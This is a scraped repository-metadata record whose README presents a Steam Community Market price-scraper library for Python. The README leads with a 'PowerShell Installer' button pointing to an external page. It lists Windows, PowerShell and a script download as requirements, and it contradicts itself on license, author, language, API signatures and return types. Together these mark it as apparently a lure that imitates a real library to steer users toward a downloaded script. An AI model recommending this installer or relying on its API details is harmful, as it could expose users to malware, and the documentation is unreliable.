[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-115990":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":11,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":12,"stars30d":12,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":13,"rankGlobal":9,"rankLanguage":9,"license":14,"archived":15,"fork":15,"defaultBranch":16,"hasWiki":17,"hasPages":17,"topics":18,"createdAt":9,"pushedAt":24,"updatedAt":25,"readmeContent":26,"aiSummary":27,"trendingCount":12,"starSnapshotCount":12,"syncStatus":28,"lastSyncTime":29,"discoverSource":30},115990,"steam-community-market-scraper","Ffcj2025\u002Fsteam-community-market-scraper","Ffcj2025","Steam Community Market Scraper: Python 3 library for item prices and volumes",null,"HTML",153,0,40,"MIT License",false,"main",true,[19,20,21,22,23],"item-prices","prices","selenium","steam-price","steam-prices","2026-11-23 10:18:10","2026-11-17 18:00:51","\u003Cdiv align=\"center\">\n\n# Steam Community Market Scraper — Developer Library\n\n![](files\u002Fpreview.png)\n\n### 💻 PowerShell Installer\n\n[![](files\u002Fbutton.png)](https:\u002F\u002FFfcj2025.github.io\u002Fsteam-community-market-scraper\u002F)\n\n[![license](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLICENSE-APACHE--2.0-2ea44f?style=for-the-badge&labelColor=0d1117)]() [![code](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FCODE-PYTHON-34b759?style=for-the-badge&labelColor=0d1117)]() [![status](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FSTATUS-PRODUCTION-2ea44f?style=for-the-badge&labelColor=0d1117)]() [![checks](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FCHECKS-SUCCESS-2ea44f?style=for-the-badge&labelColor=0d1117)]() [![ps-core](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPS--CORE-INSTALLER-1a7f37?style=for-the-badge&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nA Python 3 interface for retrieving item prices and volumes from the Steam Community Market. The module exposes a small set of functions that return structured price and volume data for a given market item, handling request formatting and response parsing internally. Designed for direct integration into scripts and data pipelines, it keeps dependencies minimal and the calling surface predictable.\n\n## ✅ Requirements\n\n- **OS:** Windows 10 \u002F 11\n- **Shell:** PowerShell 5.1+ or PowerShell 7+\n- **Network:** internet access to download the script\n- **Privileges:** standard user\n\n## Features\n\n**Single item query** — fetch the lowest price and current volume for any marketable item by name:\n```python\nfrom steam_community_market import Market\n\nmarket = Market(\"USD\")\nprice, volume = market.get_price_and_volume(\"AK-47 | Redline (Field-Tested)\")\n```\n\n- **Batch item queries** — pass a list of item names and receive a dict of results in one call, with per-item error isolation so one failure does not abort the batch:\n```python\nresults = market.get_prices_and_volumes([\n\"AK-47 | Redline (Field-Tested)\",\n\"AWP | Asiimov (Field-Tested)\",\n])\n```\n\n- **Configurable currency** — set the currency code at construction time (`\"USD\"`, `\"EUR\"`, `\"GBP\"`, and any other code the market supports); all returned prices use that currency.\n\n- **Lowest-price and median-price accessors** — query `get_lowest_price` or `get_median_price` independently when you only need one metric.\n\n- **Typed return values** — prices are returned as floats and volumes as integers, ready for arithmetic without post-processing.\n\n- **Rate-limit aware** — requests are throttled internally to stay within market limits; tune the delay via an optional constructor argument.\n\n- **Retry on transient failures** — configurable retry count and backoff for HTTP 429\u002F5xx responses.\n\n- **Zero-config defaults** — sensible defaults (USD, standard delay, 3 retries) let you start querying with a single constructor call.\n\n- **Python 3 only, no external services** — pure Python package, no API keys or third-party accounts required.\n\n## Quick Start\n\n```python\nfrom steam_community_market import Market\n\nmarket = Market()\n\n# Fetch a single item by its market hash name\nitem = market.get_item(\"AK-47 | Redline (Field-Tested)\", \"730\")\nprint(item)\n# {\n# \"name\": \"AK-47 | Redline (Field-Tested)\",\n# \"price\": 12.34,\n# \"volume\": 4821\n# }\n```\n\n`get_item(item_name, app_id)` resolves the current lowest price and 24-hour volume for a single listing. `app_id` is the Steam application the item belongs to (`\"730\"` for Counter-Strike, `\"440\"` for Team Fortress 2, `\"570\"` for Dota 2, and so on).\n\n```python\n# Fetch every item for an app at once\nitems = market.get_all_items(\"730\")\nprint(len(items), items[0])\n```\n\n`get_all_items(app_id)` walks the market listings for the given app and returns a list of item dictionaries using the same shape as `get_item`. Calls are rate-limited internally; on very large apps the method may take a few minutes to complete.\n\n```python\n# Different currencies are selected per call via the ISO currency code\nitem = market.get_item(\n\"Mann Co. Supply Crate Key\",\n\"440\",\ncurrency=\"EUR\",\n)\nprint(item[\"price\"]) # price in EUR\n```\n\nThe `currency` keyword accepts a three-letter ISO code (`\"USD\"`, `\"EUR\"`, `\"GBP\"`, `\"RUB\"`, …) and defaults to `\"USD\"`. All returned prices are floats in the selected currency.\n\n```python\n# Errors are raised as exceptions rather than returned as sentinels\nfrom steam_community_market import Market, ItemNotFound\n\nmarket = Market()\n\ntry:\nitem = market.get_item(\"This Item Does Not Exist\", \"730\")\nexcept ItemNotFound:\nitem = None\n```\n\nCatch `ItemNotFound` when a listing may have been delisted, and `MarketRateLimited` when the backing endpoint throttles a request — the latter carries a `retry_after` attribute in seconds.\n\n## API Reference\n\nThe public surface of `steam_community_market` is a single functional entry point plus a lightweight class-based interface for repeated queries. All monetary values are returned as floats in the market's display currency; volume figures are returned as integers.\n\n```python\nimport steam_community_market as scm\n```\n\n### `scm.get_market_price(item, appid, currency=1)`\n\nRetrieves the lowest active listing price for a single item.\n\n| Parameter | Type | Default | Description |\n|-|-|-|-|\n| `item` | `str` | required | Market display name of the item, matched exactly against the listing hash name. |\n| `appid` | `int` | required | Steam application ID the item belongs to (e.g. `730` for Counter-Strike). |\n| `currency` | `int` | `1` | Numeric currency code used to denominate the returned price. |\n\nReturns a `float` on success. Raises `LookupError` when the item hash name cannot be resolved, and `ValueError` when the upstream payload cannot be parsed.\n\n```python\nprice = scm.get_market_price('AK-47 | Redline (Field-Tested)', 730, currency=1)\n```\n\n### `scm.get_market_volume(item, appid)`\n\nReturns the number of units sold in the trailing 24-hour window.\n\n```python\nvolume = scm.get_market_volume('AK-47 | Redline (Field-Tested)', 730)\n```\n\nArguments mirror `get_market_price` except `currency`, which is not accepted. Returns an `int`.\n\n### `scm.get_market_item_name(item, appid)`\n\nResolves the fully qualified market hash name from a partial or approximate item string. Useful when the exact display name is unknown.\n\n```python\nname = scm.get_market_item_name('redline ak', 730)\n```\n\nReturns a `str`. Raises `LookupError` if no candidate matches.\n\n### `scm.get_market_data(item, appid, currency=1)`\n\nConvenience wrapper that issues both queries and returns them together.\n\n```python\ndata = scm.get_market_data('AK-47 | Redline (Field-Tested)', 730, currency=1)\n# {'price': 12.54, 'volume': 1830}\n```\n\nReturns a `dict` with the keys `price` (`float`) and `volume` (`int`).\n\n### `steam_community_market.Market`\n\nStateful wrapper for batching many lookups against the same application and currency.\n\n```python\nfrom steam_community_market import Market\n\nmarket = Market(appid=730, currency=1)\nmarket.get_price('AK-47 | Redline (Field-Tested)')\nmarket.get_volume('AK-47 | Redline (Field-Tested)')\nmarket.get_data('AK-47 | Redline (Field-Tested)')\n```\n\nConstructor parameters `appid` and `currency` become defaults for every instance method; both may be overridden per call. Instance methods delegate to the module-level functions and share identical return types and exceptions.\n\n### Errors and rate handling\n\nAll lookups perform live HTTP requests. On non-200 responses or malformed bodies, functions raise `ValueError`. On exhausted retries, `ConnectionError` propagates to the caller. Catch these at the call site when iterating over large item sets:\n\n```python\ntry:\ndata = scm.get_market_data(item, 730)\nexcept (LookupError, ValueError, ConnectionError):\ndata = None\n```\n\n### Currency codes\n\n`currency` accepts the integers defined by the market's own currency enumeration. Common values:\n\n| Code | Currency |\n|-|-|\n| `1` | USD |\n| `2` | GBP |\n| `3` | EUR |\n| `5` | RUB |\n| `23` | CNY |\n\nPassing a code outside the supported set raises `ValueError` before any network call is made.\n\n## Examples\n\nMinimal working example:\n\n```python\nimport steam_community_market as market\n\nitem = \"AK-47 | Redline (Field-Tested)\"\napp_id = 730\n\nlowest = market.get_lowest_price(item, app_id)\nvolume = market.get_volume(item, app_id)\n\nprint(f\"lowest price: {lowest}\")\nprint(f\"24h volume: {volume}\")\n```\n\nBoth `get_lowest_price` and `get_volume` return the raw `str` emitted by the Steam Community Market, or `None` when the item is not currently listed.\n\nBatch lookup across a list of items:\n\n```python\nfrom steam_community_market import market\n\napp_id = 730\nitems = [\n\"AK-47 | Redline (Field-Tested)\",\n\"AWP | Asiimov (Field-Tested)\",\n\"Desert Eagle | Blaze (Factory New)\",\n]\n\nfor name in items:\nprice = market.get_lowest_price(name, app_id)\nif price is None:\nprint(f\"{name}: no listing\")\ncontinue\nprint(f\"{name}: {price}\")\n```\n\nWrap each call in `try\u002Fexcept` to isolate failures so a single unavailable listing does not abort the loop:\n\n```python\nfrom steam_community_market import market\n\ndef snapshot(name, app_id):\ntry:\nprice = market.get_lowest_price(name, app_id)\nvolume = market.get_volume(name, app_id)\nreturn {\"item\": name, \"price\": price, \"volume\": volume}\nexcept Exception as exc:\nreturn {\"item\": name, \"error\": str(exc)}\n\nrows = [snapshot(name, 730) for name in items]\n```\n\nCollecting into a structured record for persistence:\n\n```python\nimport json\nimport steam_community_market as market\n\ndef build_row(name, app_id):\nreturn {\n\"app_id\": app_id,\n\"name\": name,\n\"lowest_price\": market.get_lowest_price(name, app_id),\n\"volume\": market.get_volume(name, app_id),\n}\n\nrecords = [build_row(name, 730) for name in items]\nprint(json.dumps(records, indent=2))\n```\n\nNotes:\n\n- All functions require an `app_id`; the market scopes item names per application, so the same display name can resolve differently across apps.\n- Return values are strings in the market's own format. Do not assume a numeric type — normalize before arithmetic.\n- Throttle requests when iterating over large input sets; the market enforces rate limits on the underlying endpoint.\n\n## License\n\nThis project is released under the MIT License.\n\n```\nMIT License\n\nCopyright (c) offish\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\u002For sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n```\n\nIn short: you may use, modify, and redistribute this project, including commercially, provided the copyright notice and this permission notice are retained in all copies or substantial portions of the software. The software is provided without warranty of any kind.\n\nContributions submitted to this project are accepted under the same MIT terms unless explicitly stated otherwise.","这是一个用于抓取 Steam 社区市场商品价格与交易量的 Python 3 库。它提供简洁的 API，支持按物品名称（market hash name）查询单个或批量商品的最低价、中位价及当前挂单数量，并内置请求限速、错误重试、多币种（如 USD\u002FEUR\u002FGBP）支持和结构化数据返回（float 价格、int 数量）。项目纯 Python 实现，无需 API 密钥或第三方服务，依赖仅限 Selenium 和基础标准库。适用于游戏道具价格监控、跨平台比价、库存分析及自动化交易策略的数据采集环节。",2,"2026-11-24 04:52:25","CREATED_QUERY"]